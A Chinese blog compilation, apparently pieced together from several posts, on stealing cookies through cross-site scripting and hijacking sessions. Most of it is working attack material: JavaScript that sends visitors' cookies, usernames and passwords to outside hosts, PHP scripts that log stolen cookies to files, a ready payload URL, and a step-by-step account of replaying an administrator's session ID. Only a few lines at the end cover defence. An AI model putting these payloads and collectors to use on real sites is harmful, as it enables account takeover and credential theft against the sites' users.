网络安全之XSS

1.如果收到被害者的cookie.

其实可以在自己网站上做一个脚本来进行cookie收集。。。也可以用第三方的cookie收集平台。。

比如或者xss.la等。这两个平台都是禁止注册的。。自己写一个就好.很简单

\

熟悉javascript,简单看下别人偷cookie的代码。。就明白是怎么回事了

var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location ? window.opener.location : '';
}
catch(err)
{
}
x.src='http://xssapp.com/accept.aspx?id=@pid&location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myopener);
self.location="http://my.oschina.net/samshuai";

上面是我的xss javascript代码。。。

再发个别人的一个利用方式:

1 <iframe οnlοad="this.src='xss 地址+<script src =tmxk.Org/0.js>'" style="display:none"></iframe>

2.获得cookie之后,如何使用?

其实firefox和chrome都有插件可以完成这个功能。直接替换上@铂金小猪 的oscid就可以用他的账号说话了。。

我用的是firefox的web developer toolbar:

\


攻击机器  10.1.36.181 stealcookies.php cookie.txt

受害服务器 10.1.36.34 victim.php victim.html

(1)受害者有xss漏洞的脚本victim.php (问题字段用红色标明)

php

session_start();

session_regenerate_id();

echo session_id()."

";

if(isset($_POST["login"]))

{

echo "Hello " .$_POST["name"]."

";

}

?>

(2)对应表单victim.html

id ="form1" name="form1" method="post" action="victim.php">

Name

name="name" type="text" id="name"/>

name="login" type="submit" id="login" value="submit"/>

正常流程:

简单的利用xss盗取cookie实例 - 碳基体 - 碳基体

简单的利用xss盗取cookie实例 - 碳基体 - 碳基体

(3)攻击者盗取cookie的脚本stealcookies.php

php

$ua = $_SERVER["HTTP_USER_AGENT"];

$client_ip = $_SERVER["REMOTE_ADDR"];

$method = $_SERVER["REQUEST_METHOD"];

$referer = $_SERVER["HTTP_REFERER"];

$date = date("F j, Y, g:i a");

$querystring = $_SERVER["QUERY_STRING"];

$log = fopen("cookie.txt","a+");

$str= "IP: $client_ip |Useragent: $ua | Method: $method | REF: $referer | Date: $date | Cookie: $querystring \n";

fwrite($log,$str);

?>

脚本运行的前提条件,在stealcookies.php同一根目录下,有一个有写权限的文件cookie.txt

攻击流程:

在 http://10.1.36.34/victim.html的表单中提交以下语句

<script>document.write(' + encodeURI(document.cookie) + '"/>')</script>

js的意思是生成一个包含攻击者url的图片

简单的利用xss盗取cookie实例 - 碳基体 - 碳基体

接着我们可以看到访问该页面用户的cookie写入到了攻击者的cookie.txt文件里

查看攻击者10.1.36.181上的cookie.txt文件

cat cookie.txt

可以看到收到cookie了。


使用的工具:

1.免费网页支援PHP

2.存在xss的脆弱的网站。


vb.php为存放cookie的网页


PHP Code:


<head>
<
meta http-equiv="Content-Language" content="it">
<
title>Cookies Stealther - Designed and programmed by R00t[ATI]</title>
</
head>

<
body bgcolor="#C0C0C0">

<
p align="center"><font color="#FF0000">COOKIES STEALTHER</font></p>
<
p align="center"><font face="Arial" color="#FF0000">By R00T[ATI]</font></p>
<
p align="left">&nbsp;</p>

</
body>  




 

documents.php取得cookie的网页

PHP Code:

<?php

$ip
 = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];

$data = $_GET[c];

$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer: ".$referer."<br>Session: ".$data."<br><br><br>";

$file = fopen('vb.php' , 'a');
fwrite($file,$text);
fclose($file);
header("Location: http://www.google.com");

?>



Vb.php文件是用来收集Cookie和其他信息。

documents.php文件用于抓取资料如: IP地址,用户代理和cookie 。

现在,我们需要找到脆弱网站跨站点脚本( XSS ) 。在这之后插入一个脚本调用documents.php是抓住文件的Cookie使用的方法

documents.php?c="+document.cookie;

 

如下例子

:
Code:
http://vulnerable-site.com/vulnerable_page.php?vulnerable_method=<script>document.location="http://syshack.sy.funpic.de/documents.php?c="+document.cookie;</script>

 

当受害者点到这个连结时cookie就被偷走了会存放在vb.php里面


跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。

一个简单的留言板

我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

复制代码
<!DOCTYPE html>
<html>
<head>
    <?php include('/components/headerinclude.php');?></head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }

        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: dashed 1px #ccc;
            margin: 4px;
        }
    </style>
    <script type="text/javascript" src="/js/cookies.js"></script>
<body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">Your Comment</div>
            <div style="padding:6px;">
                Nick Name:
                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                Comment:
                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">Comments</div>
            </div>
            <?php 
                require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();
            ?>
        </div>
    </form>
</body>
</html>
复制代码

 

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的

 

image

XSS

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

image

这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

利用xss窃取用户名密码

 

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

image

我们看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

发送了一个get请求

http://test.com/index.php

复制代码
<?php
    if(!empty($_GET['password'])){
        $username=$_GET['username'];
        $password=$_GET['password'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$username\t $password\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){

        }
    }
?>
复制代码

这样恶意用户就把访问留言板的用户的信息窃取了

怎么预防

上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。


跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子,有些同学看了后会说这有什么大不了的,哪里有人会明文往cookie里存用户名和密码。今天我们就介绍一种危害更大的XSS——session劫持。

神马是session

想明白session劫持及其危害,首先要搞清楚什么是session,熟悉http的同学知道,http是无状态的,也就是客户端向服务器请求完成后,会断开连接,下次同一个客户端再次访问服务器的时候,服务器会把它当作一个陌生的请求,不会知道它曾经来过,这里有它的印记。

但是这样的交互是非常麻烦的,某个网站有很多theme,通过一套机制记在服务器中,用户访问的时候从数据库等地方读取配置,返回给客户端合适的themeHTML响应。因为http没有状态,下次用户再来的时候又读取一遍数据库配置,每个用户都要重复这个过程,是不是很麻烦。这时候我们希望有一个全局的变量存储空间,用来存放一些全站点都需要的并且不会变来变去(即使变也没什么)的数据,这就是Application变量。Application变量是站点的全局变量,只要服务器不宕机,任何用户在任何页面在授权的情况下都可以访问,进行读写操作。这样一些theme、timezone等信息就可以在用户第一次访问的时候存放在Application内,再次访问或者其它用户访问的时候可以直接去读取,方便了很多。

然而,有时候我们希望服务器为我们每个单独的web用户开辟一块儿私密空间,比如我们肯定不希望用户访问一个页面就输一次用户名、密码,当用户第一次登录成功后可以把登录信息存放在服务器,下次来了直接比对就可以。但是明显大家不希望自己的用户名和密码能够被所有的用户访问,所以服务器私密空间是需要的。

but,由于http的无状态性即使服务器上有了每个用户的私密空间,但下次用户访问的时候,服务器仍然不知道用户是张三、李四还是王二麻子。这可怎么办,聪明的同学肯定想到了,让客户端的请求告诉服务器我是王二麻子就行了。这样服务器和客户端就可以对话了,不至于说了后句就忘了前句。

问题在于客户端怎么告诉服务器我是谁。细心的同学会注意到cookie是http协议的一部分,会在http请求和http响应中出现,而客户端和服务器有记忆的会话正是靠cookie实现的。拿登录做例子,会话过程是这样的

登录

1. 客户端发送登录请求

2. 服务器接收请求,验证登录,成功后为此web用户开辟一个私密空间,存放登录信息

3. 服务器为这个私密空间编号,类似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对,不同的语言生成的键名和值的规则不同,但是都本着两个原则:第一,value必须唯一,毕竟一个站点可能同时有数百万甚至更多用户在访问,不能让两个用户的表示一样;第二:生成的value必须是不可推测的,否则别有用心用户就可以根据自己的表示信息推断出别人的,然后伪造别人登录信息访问站点(这正是session劫持)。

4. 服务器把这个键值对写入http响应中传给客户端

5. 客户端接收响应,关闭连接

登录成功,用户访问其他页面

1. 客户端发送登录请求(服务器写到cookie中的用户标识信息也被发送)

2. 服务器读取http请求中的cookie信息,根据标识信息查找对应私密空间,读取用户信息

3. 服务器生成特定响应,发送给客户端

4. 客户端接收响应,关闭连接

 

这个过程是不是很像是一个会话?这样第一次来了给个标签,下次凭此标签交流的机制就是session,当然session还包含其失效机制等。

session劫持

服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。

说的这么恐怖,那么被别人知道了我的sessionId后会有什么危险呢?通过上面交互过程可以看出来服务器是靠sessionId识别客户端是张三、李四还是王二麻子的,当其它用户获知了你的sessionId后,在其有效期内就可以凭此sessionId欺骗服务器,获取你的身份登录使用网站。

XSS劫持session

还是使用跨站脚本攻击XSS中留言板的XSS漏洞,添加一个登录成功的首页,包含留言板页面链接,管理员有其它权限,登录失败返回登录页。

home.php

复制代码
<!DOCTYPE html>
<html>
    <head>
        <title>Home</title>
        <?php include('/components/headerinclude.php');?>
    </head>
    <body>
        <a href="list.php">Comments</a>
        <?php
            use \entity\authority as au;
            include 'entity\user.php';
            if(isset($_POST['username'])){
                $user=new au\User();
                $user->username=$_POST['username'];
                $user->password=md5($_POST['password']);
                if($user->username=='Byron'){
                    $user->role='admin';
                }else{
                    $user->role='normal';
                }
                $_SESSION['user']=json_encode($user);
            }
            if(!isset($_SESSION['user'])){
                echo '<script>';
                echo 'window.location.href="index.php"';
                echo '</script>';
            }else{
                $me=json_decode($_SESSION['user']);
                echo '<br/>Hello '.$me->username.'!<br/>';
                if($me->role=='admin'){
                    echo "Your are an Administrator, you can do anything.";
                }
            }
        ?>
    </body>
</html>
复制代码

当我们以管理员身份登录后界面是这样的

 

image

当没有管理员权限的恶意用户登录并访问留言板的时候,利用XSS漏洞注入这样代码

image

看看坏蛋做了什么

<script type="text/javascript" src="http://test.com/hack.js"></script>这条语句利用script的src跨域请求坏蛋自己的脚本

http://test.com/hack.js

var c=document.cookie;
var script =document.createElement('script');
script.src='http://test.com/index.php?c='+c;
document.body.appendChild(script);

脚本中创建了一个script标签,利用jsonp连带这当前用户的cookie向'http://test.com/index.php发送了http请求

http://test.com/index.php

复制代码
<?php
    if(!empty($_GET['c'])){
        $cookie=$_GET['c'];
        
        try{
            $path=$_SERVER["DOCUMENT_ROOT"].'/session.txt';
            $fp=fopen($path,'a');
            flock($fp, LOCK_EX);
            fwrite($fp, "$cookie\r\n");
            flock($fp, LOCK_UN);
            fclose($fp);
        }catch(Exception $e){

        }
    }
?>
复制代码

原来坏蛋通过XSS把sessionId记到了自己磁盘

如何伪造管理员登录

这样如果在坏蛋利用XSS注入劫持sessionId的脚本后管理员登录并访问留言板页面,坏蛋就会得到管理员的sessionId,在其有效期内坏蛋可以这么做

1. 利用自己帐号登录系统,等待管理员访问被攻击页面,获取其sessionId

比如我得到管理员sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37

 

2. 通过客户端修改sessionId

 

自己登录界面

image

 

修改cookie

image

 

3. 刷新页面,骗过服务器,自己成了管理员

image

4. 不堪设想。。。

 

如何防范

这种session劫持主要靠XSS漏洞和客户端获取sessionId完成,一次防范分两步

1. 过滤用户输入,防止XSS漏洞

2. 设置sessionId的cookie为HttpOnly,使客户端无法获取


转载于:https://my.oschina.net/tangzhichao/blog/781530

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值